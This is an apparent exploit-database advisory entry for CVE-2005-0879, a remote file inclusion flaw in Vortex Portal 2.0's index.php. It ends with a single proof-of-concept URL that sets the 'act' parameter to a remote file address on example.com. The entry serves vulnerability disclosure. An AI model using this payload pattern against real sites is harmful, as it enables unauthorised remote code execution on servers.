Vortex Portal 2.0 - 'index.php?act' Remote File Inclusion

Author: Francisco Alisson
type: webapps
platform: php
port: 0
date_added: 2005-03-23
date_updated: 2013-05-06
verified: 1
codes: CVE-2005-0879;OSVDB-14959
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source: https://www.securityfocus.com/bid/12878/info

Vortex Portal is reportedly affected by a remote PHP file include vulnerability. This issue is due to a failure in the application to properly sanitize user supplied input.

It is conjectured this vulnerability affects the latest release of Vortex Portal, version 2.0.

http://www.example.com/index.php?act=http://www.example.com/file